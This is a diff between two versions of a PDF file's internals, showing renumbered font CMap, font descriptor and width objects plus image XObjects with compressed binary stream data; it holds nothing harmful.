-1076 0 obj +1908 0 obj << -/Length 1150 +/Length 1178 >> stream /CIDInit /ProcSet findresource begin @@ -15719,37 +27277,39 @@ begincmap 1 begincodespacerange <0000> endcodespacerange -59 beginbfchar +61 beginbfchar <0038> <0054> <0045> <0061> <0046> <0062> <0050> <006c> <0049> <0065> <0004> <0020> -<0053> <006f> -<004a> <0066> -<0047> <0063> -<0052> <006e> -<0058> <0074> +<0048> <0064> <0057> <0073> +<0051> <006d> +<0058> <0074> +<004d> <0069> +<00e5> <00e8> +<0056> <0072> <0015> <0031> <0012> <002e> <0036> <0052> <0054> <0070> -<0056> <0072> +<0053> <006f> +<0047> <0063> <004f> <006b> -<0048> <0064> +<0052> <006e> <003a> <0056> <0014> <0030> <002d> <0049> <0059> <0075> -<004d> <0069> <0016> <0032> <0027> <0043> <004c> <0068> <004b> <0067> <0017> <0033> <0028> <0044> +<004a> <0066> <00e6> <00e9> <0018> <0034> <0034> <0050> @@ -15763,22 +27323,22 @@ endcodespacerange <0055> <0071> <001c> <0038> <001d> <0039> -<0051> <006d> <0029> <0045> <004e> <006a> +<0039> <0055> +<002b> <0047> +<0032> <004e> <005c> <0078> <000b> <0027> <002e> <004a> <0031> <004d> <0013> <002f> <0030> <004c> -<002b> <0047> <003b> <0057> <005b> <0077> -<002a> <0046> <0037> <0053> +<002a> <0046> <003e> <005a> -<0032> <004e> endbfchar endcmap CMapName currentdict /CMap defineresource pop @@ -15786,23 +27346,23 @@ end end endstream endobj -1077 0 obj +1909 0 obj << /Type /FontDescriptor /FontName /PYKAXF+Roboto-Light /FontFamily (Roboto) /Flags 4 -/FontBBox [ -50 -9 619 710 ] +/FontBBox [ -50 -9 555 710 ] /ItalicAngle 0 /Ascent 927 /Descent -244 /CapHeight 710 /StemV 80 /StemH 80 -/FontFile2 1064 0 R +/FontFile2 1896 0 R >> endobj -1078 0 obj +1910 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -15813,23 +27373,23 @@ endobj /Supplement 0 >> /CIDToGIDMap /Identity -/W [ 4 [ 243 ] 11 [ 170 ] 18 [ 239 397 554 554 554 554 554 554 554 554 554 554 ] 37 [ 625 ] 39 [ 649 655 569 562 684 ] 45 [ 266 550 ] 48 [ 527 865 710 677 616 ] 54 [ 635 592 597 ] 58 [ 617 897 ] 62 [ 598 ] 69 [ 536 554 515 556 517 331 555 549 224 228 490 224 886 549 560 554 558 336 506 321 549 481 754 486 475 ] 230 [ 517 ] ] -/FontDescriptor 1077 0 R +/W [ 4 [ 243 ] 11 [ 170 ] 18 [ 239 397 554 554 554 554 554 554 554 554 554 554 ] 37 [ 625 ] 39 [ 649 655 569 562 684 ] 45 [ 266 550 ] 48 [ 527 865 710 677 616 ] 54 [ 635 592 597 657 617 896 ] 62 [ 598 ] 69 [ 536 554 515 556 517 331 555 549 224 228 490 224 886 549 560 554 558 336 506 321 549 481 754 486 475 ] 229 [ 517 517 ] ] +/FontDescriptor 1909 0 R >> endobj -1079 0 obj +1911 0 obj << /Type /Font /Subtype /Type0 /BaseFont /PYKAXF+Roboto-Light -/ToUnicode 1076 0 R +/ToUnicode 1908 0 R /Encoding /Identity-H -/DescendantFonts [ 1078 0 R ] +/DescendantFonts [ 1910 0 R ] >> endobj -1080 0 obj +1912 0 obj << -/Length 912 +/Length 940 >> stream /CIDInit /ProcSet findresource begin @@ -15845,7 +27405,7 @@ begincmap 1 begincodespacerange <0000> endcodespacerange -42 beginbfchar +44 beginbfchar <0015> <0031> <0012> <002e> <0004> <0020> @@ -15881,13 +27441,15 @@ endcodespacerange <0038> <0054> <00e0> <00e2> <001b> <0037> -<004b> <0067> <0033> <004f> -<002d> <0049> -<0037> <0053> -<004f> <006b> +<004b> <0067> +<002a> <0046> <0019> <0035> <001a> <0036> +<0037> <0053> +<004f> <006b> +<001c> <0038> +<0030> <004c> endbfchar endcmap CMapName currentdict /CMap defineresource pop @@ -15895,23 +27457,23 @@ end end endstream endobj -1081 0 obj +1913 0 obj << /Type /FontDescriptor /FontName /YAMLPF+Roboto /FontFamily (Roboto) /Flags 4 -/FontBBox [ -31 -208 513 711 ] +/FontBBox [ -31 -208 513 710 ] /ItalicAngle 0 /Ascent 927 /Descent -244 -/CapHeight 711 +/CapHeight 710 /StemV 80 /StemH 80 -/FontFile2 1065 0 R +/FontFile2 1897 0 R >> endobj -1082 0 obj +1914 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -15922,21 +27484,21 @@ endobj /Supplement 0 >> /CIDToGIDMap /Identity -/W [ 4 [ 248 ] 11 [ 174 ] 18 [ 263 ] 21 [ 561 561 561 561 561 561 561 ] 37 [ 652 ] 39 [ 651 656 ] 45 [ 272 ] 51 [ 687 631 ] 54 [ 616 593 597 ] 69 [ 544 561 523 564 530 347 561 551 243 239 507 243 876 552 570 561 568 338 516 327 551 ] 224 [ 544 ] 230 [ 530 ] ] -/FontDescriptor 1081 0 R +/W [ 4 [ 248 ] 11 [ 174 ] 18 [ 263 ] 21 [ 561 561 561 561 561 561 561 561 ] 37 [ 652 ] 39 [ 651 656 ] 42 [ 553 ] 48 [ 538 ] 51 [ 687 631 ] 54 [ 616 593 597 ] 69 [ 544 561 523 564 530 347 561 551 243 239 507 243 876 552 570 561 568 338 516 327 551 ] 224 [ 544 ] 230 [ 530 ] ] +/FontDescriptor 1913 0 R >> endobj -1083 0 obj +1915 0 obj << /Type /Font /Subtype /Type0 /BaseFont /YAMLPF+Roboto -/ToUnicode 1080 0 R +/ToUnicode 1912 0 R /Encoding /Identity-H -/DescendantFonts [ 1082 0 R ] +/DescendantFonts [ 1914 0 R ] >> endobj -1084 0 obj +1916 0 obj << /Length 1626 >> @@ -15955,6 +27517,15 @@ begincmap <0000> endcodespacerange 93 beginbfchar +<0014> <0031> +<0013> <0030> +<001b> <0038> +<0042> <005f> +<001c> <0039> +<0017> <0034> +<0018> <0035> +<0019> <0036> +<0015> <0032> <002c> <0049> <003a> <0057> <0048> <0065> @@ -15992,62 +27563,53 @@ endcodespacerange <000c> <0029> <001e> <003b> <004e> <006b> -<0042> <005f> -<001d> <003a> -<004b> <0068> -<0006> <0023> -<0033> <0050> -<0012> <002f> -<001a> <0037> -<005a> <0077> -<0017> <0034> -<005b> <0078> -<0037> <0054> -<000f> <002c> -<0030> <004d> -<002f> <004c> <002a> <0047> +<003f> <005c> +<004b> <0068> +<0038> <0055> +<002f> <004c> +<001d> <003a> +<005a> <0077> +<000e> <002b> +<000f> <002c> +<004d> <006a> <003e> <005b> <0040> <005d> -<005e> <007b> +<0006> <0023> +<0033> <0050> <0024> <0041> -<0060> <007d> -<0035> <0052> -<003b> <0058> -<0014> <0031> -<003c> <0059> -<002b> <0048> -<000e> <002b> -<0038> <0055> -<002e> <004b> -<0032> <004f> -<0015> <0032> -<0013> <0030> -<001f> <003c> -<0009> <0026> -<0018> <0035> -<003d> <005a> -<0021> <003e> -<005f> <007c> -<0054> <0071> -<0039> <0056> -<005d> <007a> -<0004> <0021> <0016> <0033> -<001b> <0038> -<001c> <0039> -<0019> <0036> +<0030> <004d> +<0037> <0054> +<0035> <0052> +<002e> <004b> +<003c> <0059> +<005b> <0078> +<0039> <0056> +<0054> <0071> <000d> <002a> -<0023> <0040> -<003f> <005c> -<0022> <003f> -<0034> <0051> -<004d> <006a> +<0032> <004f> <000a> <0027> +<005e> <007b> +<0060> <007d> +<002b> <0048> +<001f> <003c> +<0021> <003e> +<0012> <002f> +<0004> <0021> +<0007> <0024> +<0009> <0026> +<003d> <005a> +<005d> <007a> +<003b> <0058> +<001a> <0037> +<0034> <0051> +<0023> <0040> +<005f> <007c> +<0022> <003f> <0041> <005e> <006b> <00a9> <002d> <004a> -<0007> <0024> endbfchar endcmap CMapName currentdict /CMap defineresource pop @@ -16055,23 +27617,23 @@ end end endstream endobj -1085 0 obj +1917 0 obj << /Type /FontDescriptor /FontName /GJMVRG+DejaVu-Sans-Mono /FontFamily (DejaVu Sans Mono) /Flags 4 -/FontBBox [ 0 -147 543 759 ] +/FontBBox [ 0 -235 466 729 ] /ItalicAngle 0 /Ascent 928 /Descent -235 -/CapHeight 759 +/CapHeight 729 /StemV 80 /StemH 80 -/FontFile2 1066 0 R +/FontFile2 1898 0 R >> endobj -1086 0 obj +1918 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -16083,22 +27645,22 @@ endobj >> /CIDToGIDMap /Identity /W [ 3 [ 602 602 602 602 602 ] 9 [ 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 ] 68 [ 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 602 ] 107 [ 602 ] ] -/FontDescriptor 1085 0 R +/FontDescriptor 1917 0 R >> endobj -1087 0 obj +1919 0 obj << /Type /Font /Subtype /Type0 /BaseFont /GJMVRG+DejaVu-Sans-Mono -/ToUnicode 1084 0 R +/ToUnicode 1916 0 R /Encoding /Identity-H -/DescendantFonts [ 1086 0 R ] +/DescendantFonts [ 1918 0 R ] >> endobj -1088 0 obj +1920 0 obj << -/Length 337 +/Length 590 >> stream /CIDInit /ProcSet findresource begin @@ -16114,7 +27676,25 @@ begincmap 1 begincodespacerange <0000> endcodespacerange -1 beginbfchar +19 beginbfchar +<0026> <0043> +<0052> <006f> +<004f> <006c> +<0051> <006e> +<0048> <0065> +<0037> <0054> +<005c> <0079> +<0053> <0070> +<0003> <0020> +<0047> <0064> +<0027> <0044> +<0044> <0061> +<0057> <0074> +<0056> <0073> +<0046> <0063> +<0055> <0072> +<004c> <0069> +<004a> <0067> <000d> <002a> endbfchar endcmap @@ -16123,23 +27703,23 @@ end end endstream endobj -1089 0 obj +1921 0 obj << /Type /FontDescriptor /FontName /WQJRKZ+DejaVu-Serif-Bold /FontFamily (DejaVu Serif) /Flags 6 -/FontBBox [ 0 0 500 742 ] +/FontBBox [ -13 -222 500 742 ] /ItalicAngle 0 /Ascent 938 /Descent -235 /CapHeight 742 /StemV 80 /StemH 80 -/FontFile2 1067 0 R +/FontFile2 1899 0 R >> endobj -1090 0 obj +1922 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -16150,31 +27730,31 @@ endobj /Supplement 0 >> /CIDToGIDMap /Identity -/W [ 13 [ 523 ] ] -/FontDescriptor 1089 0 R +/W [ 3 [ 348 ] 13 [ 523 ] 38 [ 796 867 ] 55 [ 744 ] 68 [ 648 ] 70 [ 609 699 636 ] 74 [ 699 ] 76 [ 380 ] 79 [ 380 ] 81 [ 727 667 699 ] 85 [ 527 563 462 ] 92 [ 581 ] ] +/FontDescriptor 1921 0 R >> endobj -1091 0 obj +1923 0 obj << /Type /Font /Subtype /Type0 /BaseFont /WQJRKZ+DejaVu-Serif-Bold -/ToUnicode 1088 0 R +/ToUnicode 1920 0 R /Encoding /Identity-H -/DescendantFonts [ 1090 0 R ] +/DescendantFonts [ 1922 0 R ] >> endobj -1092 0 obj +1924 0 obj << -/HOYATR 1071 0 R -/UKLFXJ 1075 0 R -/PYKAXF 1079 0 R -/YAMLPF 1083 0 R -/GJMVRG 1087 0 R -/WQJRKZ 1091 0 R +/HOYATR 1903 0 R +/UKLFXJ 1907 0 R +/PYKAXF 1911 0 R +/YAMLPF 1915 0 R +/GJMVRG 1919 0 R +/WQJRKZ 1923 0 R >> endobj -1093 0 obj +1925 0 obj << /Type /XObject /Subtype /Image @@ -16189,7 +27769,7 @@ endobj /Columns 4969 /Colors 3 >> -/SMask 1094 0 R +/SMask 1926 0 R /Length 3704458 >> stream @@ -29486,7 +41066,7 @@ p5^vSٲ 7Y[lX} 3"% 3"=,LXKxR68av)j>-+ܼfloago{7xl,xp0ub.yVIMYpEˆW0)]0)يuY'eӋ+6mWfbǏ[ko]?}tC7`ah\*=,*sczɉKصE8f/=^0~=B \|fp&|]uɉ?CBgg? V/;9Q'c[ge''d b /,XD_l331_-X|fpF`2 ^vrO/bςNN_,>38Yzɉ?CBgg? v??ϟp?LzO.N??yP-}YRƧ).S~E:cn}E7}Q sf/;ȸZxCs鎳}cn Ң_|W+jэl_veoy?_]?Ӻm]?q8.)~q|‹i߸UNF[9s1uGooc6 u|,yqc];fg^xQ"WHa3]#g2朹 wӆᯎۘ%/xLkl /6S~3W9);l=~cbAƜ31au0uwMyEf4o\y*'#etuZ9Șs:#̷7ܱN:nc13/(L+\dQ3s\x;iWm̒W<&ߵc6}e)Xq噫?1j1r cΙ0p:mYv̦ϼl3E7‹i߸UNF[9s1uGooc6 u|,yqc];fg^xQ"WHa3]#g2朹 wӆᯎۘ%/xLkl /6S~3W9);l=~cbAƜ31au0uwMyEf4o\y*'#etuZ9Șs:#̷7ܱN:nc13/(L+\dQ3s\x;iWm̒W<&ߵc6}e)Xq噫?1j1r cΙ0p:mYv̦ϼl3E7‹i߸UNF[9s1uGooc6 u|,yqc];fg^xQ"WHa3]#g2朹 wӆᯎۘ%/xLkl /6S~3WYG_5( endstream endobj -1094 0 obj +1926 0 obj << /Filter /FlateDecode /Type /XObject @@ -29743,7 +41323,7 @@ mp5 QO\K]޾U/////Oo%_n;>Wz)p^k<^CyNOʾ>y~2}8gxw';////D&/1Ƕ* endstream endobj -1095 0 obj +1927 0 obj << /Type /XObject /Subtype /Image @@ -29758,7 +41338,7 @@ endobj /Columns 1920 /Colors 3 >> -/SMask 1096 0 R +/SMask 1928 0 R /Length 782043 >> stream @@ -32492,7 +44072,7 @@ wض Z\y|>x(,&cPYYPs];"WB!B!rS뺦ibU#EwWff"&էz媔eIc%%{iQ`~'uY}Ov+^Vm[$Y8ѨGs² ,I8"@8Ji6p. aBP'܌Ȝݖe !FH$ڀY$qu0(B!B!q!c I˥1E4۶XmD"QgĄ_rQVVjd@@"7o=޽{ܹeEd!lӴl[`RY2 zr,˪Ku"A 0I";nӴ9VX8,6B!B!$۶ {9dL[-: P#P0M+ʘ$q@qs-(L!B!B!u`^`ZN!UXľJM$tؼ"Qc/ !B!B!`$d 1S/!B!B!cA_A!B!B!dTE>( !B!B!gkXCB!B!B!dQB!B!B>AhB!B!B! !B!B!&B!B!OȦi@!B!B!`c[̻ endstream endobj -1096 0 obj +1928 0 obj << /Filter /FlateDecode /Type /XObject @@ -32513,7 +44093,7 @@ x u^;uȀ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  o endstream endobj -1097 0 obj +1929 0 obj << /Type /XObject /Subtype /Image @@ -32528,7 +44108,7 @@ endobj /Columns 1920 /Colors 3 >> -/SMask 1098 0 R +/SMask 1930 0 R /Length 727652 >> stream @@ -34883,7 +46463,7 @@ AD Ȁ[Ů~ endstream endobj -1098 0 obj +1930 0 obj << /Filter /FlateDecode /Type /XObject @@ -34904,7 +46484,7 @@ x u^;uȀ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0  @ `0`0. k endstream endobj -1099 0 obj +1931 0 obj << /Type /XObject /Subtype /Image @@ -34919,7 +46499,7 @@ endobj /Columns 1920 /Colors 3 >> -/SMask 1100 0 R +/SMask 1932 0 R /Length 287978 >> stream @@ -35913,7 +47493,7 @@ hH3 nHL4NR)Jee2Yw @`iiy> +/SMask 1934 0 R +/Length 88383 +>> +stream +xy|_d HԨA :ݎn֮ڪE\+Z"Q*S\Pvt˷uvQ AV,=EeI9W^䝓J\bJGT&ywZ%k|jcZn޹iW(<3ʚ:~{TFeifm<>Zz U?KՕCo;>Y/߰cm@Lr:U~̺?_tJ[箞ޡ9fKkN-^z㧾3]xcf]_{&0 +٫6=~at⍙տy%=s3ӛ߱6:}̺y`c3kˮq@NE'/ޘY;;E'/.@OHTt +Y!$`_Y +3GW/̬ R8 #3+;o)}0}df`%c]3@rueMt +9哇]~1@eg]2@t9n^~!/3+8j Y @1_4af֧yi\?zXjƘEge̬У>~Y㇜]AW2@ٷcEW̬Czn?$]B3@H]~#3zfV vXt +ݮ|㯏Y{J*Bw1@ث+k+FfVF㇜ra{Y ,q9%ef.S]9ꂣYk*T{I$:ff.ʇEg +]>]A 3+#.?+1~)I6߫wta̬_.:vȾD2?䔏vvt̬1fnt̬/IzVm}JE + 5 +Y`. [Y`TY?/CfV $8eC"fV g~N d3+QsetY +{TqtY +{"P7|Xt +qӢ+RfVx+FL}Mt +$U4~~!d/3+KjF YmrG\t +7WՌ1s+fV؍tU[~!3+y& 7YjܑDW3̬&fK%rސJRcoX6(:\bf7|ܺ+1fVx]uIGO Y ITqt +IT 'Y 9}ę'=-\ef 1y503+4]4~~i,:ff]R;}d +ru>23<3+jp93+(U<BtިjFW'̬A'|I3+t@㸛RI*:afT؛+KDW̬OWn +BQģ Y(o-JG̬TCݜ3OfV?CO oYs#Vi33+4]4~~i,:|ff }i#+sfVCO YO{U5͉ YCEYWDP̬䡉.P]A0o#&FWP@̬nJ% +JRco,Ba1?>{Ĥ+(8fVDM獺,Bdf W̪(UB!2R usΠ@Yy]A2F + +V.k?4]BA3RG7A3Nz#Ό3+|XCݜ +H3+(UT?": +@.:/WWDW̬䘺A'|3+d`q7EWY$5sܼ!&fVr玼 +x+3+FM0UkڜEV엚1fU{fVG!DW2Fث+Y^z7_.wbf k.8bDt 3+Y}NCΈwgf UzG̬dTiS^EC`Y:ʚ +SfVKݠ>y̬de]{ +@H%Ucf [}EEW^3j>K/̬SoVik?\¥f;wUt#3+>~Y㇜] +@}/:fZt3+azn?$] +@}exň _fVbo8̬*6+kYi%ҦzG@0.8ʚ +2fVz!|/DW@W2s 1fntt13+=$gק_tt13+=.=.P;pj.naf)7~^E/1fA]̬t3;{S+YFՕ.,:n}(z7b͌bfJU;:z.vSGcf+r]= +@ܫjƘ̬ttU[~!̬t/\Z36Y|+ էy$1̬Ԍ1s ΀0fV˙aS+ }W]9jWFW@03+WQK%! +I]uUâ3 }CxEW@V0׆W< +fVNIi^EC [Y;Nٷ:0~); +.fV^U3̍cf`cf`;겚̬ځc: +RfVEe這RI*:wJRcoX6(:wr ]Y +۪u1S+ ۙYؽ⊦ۋR!̬VnNU fVvC>qӢ+ 7Yx#&]9 +˚/ME@0&Nٷ:r7]ź+ Y +Wu娉G_]9 +Pʋ+o/JG@3TCݜa̬C#>yӢ+ OY +] +PXJeM痦ˢC Y +˥W[]y +P@NzڇG~:P UP7' gV^\y +P8jr̀ +OfVW7q~t-3+@,8Tefg$8!̬3G_7xBt93+@ު?&GW@3YC YRnUP̬y#?uӢ+PYȾ՗^] +WJeM痦ˢCYI  +?NzF|2 + OTk] +RMˋ+CYG& + :_efm7) + q*KD@A39 +(tfV\Uy.̬OIY;|Ԍ1s +>zg9%x nj[}ɱWGWo0tY% fV|WW +3Nz|"x+3+@n*P7' 3+@(J7//v +.8fJueMt{fVlW7O~^t̬Ym`q7EW +RIjyCwbf^gyau0duYt̬٨OIY7 |dԌ1s |ύrJt̬edꋏm *4~~I$: fV쑚z^jƘEg] +8CNGUWi@W2^Eo/ID] +cRW}U Yz: +YzBU+]t 3+@+I6U;:fVnwWUWDW +н9>]t|6l1s+wc_{_ٶj ۷ ]5אƜ>}F2uO[׺{ +F:Irjֶovs\|l{wjVKl~ܿ}[v`oozءg]tt\[sQGWoO˻n7?}j dfz}~ei d=y=[9[Z>\ju`t{ŏ}V޸-ifb8㇜]ޒu{i?/xߘYRu *ؽoz䚅d&s6t^Eo/ID,Kj ozhf*|Xtvmm[h$ʟfVC>avc[ÂIZt1y +W|[o>dLE_زkj `JU;:xL9nXG޴smf_Nٷ:؍}ML: 3+~?䔏zVtyc}JϾjfw{U37؍w9wy +IzVm}JEo|ó\c3sjT36x>׸L[ +/j9+ڰc[۷Iͬ{ty$ɶSLܸc} +wRIqEosWKVm}Omf;g~n t&^ئe!g7Q3%x;YʟnfSMC7+~`fC9Uâ37{b̬{9䡧EWo|sj0#.?+<Ӎ.tDYMiitYt ;64Ojm$fVwu #VGWo2u;7F +NNzGlt]nhC`fx[{U5͉Бt^zS&fVK'YWD#s#M _St[YvQkFWo3w⯢+v +| +7y{3Ue這RI*:xݲ <]̬oJRcoX6(:xs=}ɝ萷efxOUW7xBt𺵭'hy'fV7TW:/GW2wnyfVוW4^*$Ivv5_ywfVjSU>,:H$H:_E3+@$#2ꋣ& ֎mӛ'k]̬@!tg8?H:23M^dt~1t@㸛RI*:ܸ 3(,$8!@'oFWt3+PX>}ĺ+䞕]5̬@?zˣ+dɺ=]e̬@(/UkQ8: +.L2fV@ ]m+^xa[萮df +‡G~䡧EW@۴sok̬@ٷګ+еvlkX0i]萮gf\iitYtLE_ز":[Y<3WG7,.fV < +(t}W.YUU>nNt{V|/{YT*n_^\m+{)ۙY4++k+=K$ngfPݠ>S=1 +ڋ[z홶萞`fMeq7EW@A۴sm!fV T؛+KD@־a;G3+W>{Ĥ+pg^–!= +䏚uYtL9mZ̬@(/UkQ8: +׷տ`fCnUP~EW0##?}Ӣ+pyw,] +休}/]kƇ<] +tY(PϽt㢋;3!̬@NKM8bDt ;64Ojm +䰓z3+@mik`CY\UU>povuU[_ +fV 'WD@!H:f/fV 'M:zJueMtm4-|OY +䞺A'| +(P?{{bfrnY +T9n^e(D6,PCtE62#/=. +s=}ɝldfrFM玺, + ͓vtFd)3+Ukښ=nK['n޹1:${y`rBjƘ{WEg@ٹl):$YC?;~)Pp:W +տOfV @I~~!P(Y>芼ef\pՕ5P(r߼G+i㇜þ]W^rU&D33+У 1fnt>w 3m!y +t9n^~!P6\?mmm[C9 +(ڷ6,q萂`fzH1? +(홶ƅeEtH0=OIҶ~sC۴,:xhz@jƘEg@Acܿw +tOCN0YU]9ꂣX>'YnԫwS%7><{i0'uW΀]ܞi)PfV|؇+ o}a! +t#.]o[ioر6:YW*m?WQs:w5.dC +z;ud +sIW>iYtfVr;;ߝ,|O$Z{U37oit3]&g֧_t?;97Y.KkFW@[95DW&fVk.2u;7FfV`y9u'DW@>ٹVm}!:3r\]#hZ|S2Tqtm4-]`t +Ԕ4U΀|{ϋ]Y}CxEW@>KGW̬^1bk+ -۰e3+JRM*y뙖ǯ]43aYvImȾֶ`Ҏ;㇜C?]ye׫SZ[Kt{ +f]ykg͓l):cfT:IϪOIOWhy2:ffy& |qYuFg/̬8sG^]yGO~U]>2﮲ty$/O}#}gfE*I5y`٠OK +x>n +Oϴ<>kIgt +Q]m+/ֹ+:efVyqESEC-^ZCfVT΀<ڱmzukCfV`NqCO<Ԟih'C2fV`7W< +K9Mt xtYC{W..ff#VGW@g/~w+zfVMNzGF~&ЂWhSt +ap9xu%WeLt +(U<7/n}gڢC.fVu獺f@mtM;O[0q[ۖH$tg]f[ֆ6XB2Ieq7TtL[K^ز":ngfBJRco,y%tyhcE̬P>]ź+ |[_ +z +ZM"o_< +z +WyqŬ[R!WrDWУ̬PR us΀|ó\]AO3@:yiW^\㢋3m!43+}4 ++v`bkY˚/ME@־uꂉw! +ΥW]cWƅBta̬PXNzڇG~:Gg9{镏mZB$3+DW@^s)`fV(EYWD@3?  +Q ~yd3+A'|?mX8硆 +_eq7Tt^{E;3!d 3+Tj{sek[W74OB1@O?QEW@ٹl):cfU^\1֢Tqt䃎iOm[t +*P7gp iZ ӇG~䡧EW@sϋ {Y [}i'o +MiitYte޸1lgf< +k[WO_0iGGkt9 +|XCݜ +-^ZC fVE!vvrgw~9 :$5~^yqEt6-i!f0=bҿ}{~%;ޣvS.:vGGW@{aˊ,R[KL֤C?G|kÀU)< +avf[^!?h^EsO1CMyOSq7dde]9l[ֆֵ!oy5+Tɿ.Xэ;:RIjyC Wg^–!33+|=э<䌮=&=>]$3硆6- ϙYqOq䫎~܁'wǑX5G +azW>gfrDMO'?m7ѧ߬[Ӿy}(zB,JuMhKesO>#@J3wp U ^G1@OU۠^C,}Jr5Ov!DW@ZKY}T3:ׁ7=s:[}1Ӣ+ W=Ӎ.nϴEP@̬н4/s .NI.ԫw%iŰ/6X<}{t +ݨ󷯩=y$B2bDt-m-SLܼsct +%*~~!g?|u!?]9iW箫/Z +G_y>̳ 0[Uæ}t䤎c+ +ń}d/:)I6U;:rQG +ށ6)u; +]pՕ5~yW43+ttW'|wqytҩϷ@?O +I^}]]A3@<+;*MJe7G7l1s+ '-۰pC `f.uh'+v_i[NACJ')מvLGtY簩ώx[zӉ˞.=.r ͓vtF@Y**=%wrh#Lv:Uv/\]gK['n޹1:^gf8aDW]$I)7~^気vv5_7x(.pagP=}p + 5c܁e3 t$MxjߢCM̬ +NMKC dף3`̬>c<)b:ʚ( $5UâC ,[e.,N2>:nиsj]zx ;=r3vΤ3:ޖEf-Ϩ+7b͌֕ӛ'hwO +SEW?:{'}WQg%Ҧ}^i_kkwafvW==]r wSE!RIc[cIZD3ޙPOU]-4qMꇼ㇝]#>s-OF1^81S=~.G:IϪOI$'`f=5yWwTtEO<>] ΩR̀!{Vߟvt3+SC#>]CRIqw0rɒhSt53+C6=(U%fKZrE&D^XWQ _/IF⊛NށF@NJ%c,9+^ta[fVxcoVqHtEen>J*C 8ƓW/Q]YsS+ gvlkX0i]wfVx[GT} +G]?~KUԻtItLE_ز":I{%}gO(Uކ9RIjʇE@n$jxt_fVؽcokHtE9LuEtdr]!dV>:vG]<+YG^x!5beܐI2<fVx;KYj=픤JU;:rC?hStt3+IfN:I_;cE@vI%KjFĦ峗^I2!e:$I=qM9>=%JR獚\36:r] /yaˊfVHJ%_!f@秒Tt8v`玼 r@g9{6-bfd\5^+ @e這U&ܱ9:Bwh'+r#M=~vtE>8KO?cR<3 }+ۙY(\gO;8u)_7+'TWL:oxx ̬Ʊ78$"u-sMC =Ӎ/tD@O0P8]oJesO>#CTCݿTlumC!C̬#*X-kpttCOlej;7F@1Pp*JΞp_>:~л<:]nW箫/ZQfV +̱ 5$"9]*.S.k?4]Y#阽tS= +@aQ=节P{@ݵRI*:@*I]r}C ḙZʟC rܠq|)XW +' =#~&Z&⯣C BѿYnK{ܳNqYG^]ep92yw )&!*~~!h+N +GEYWD@V[~ќ+ pW==kzݜq]{-Ϋ\36:s-O_xrg#:"Y+ +Z:UtՕ5!w4G]Ym 'h`fV܁6)4]vZ~ptnJ%^[Z.ygf 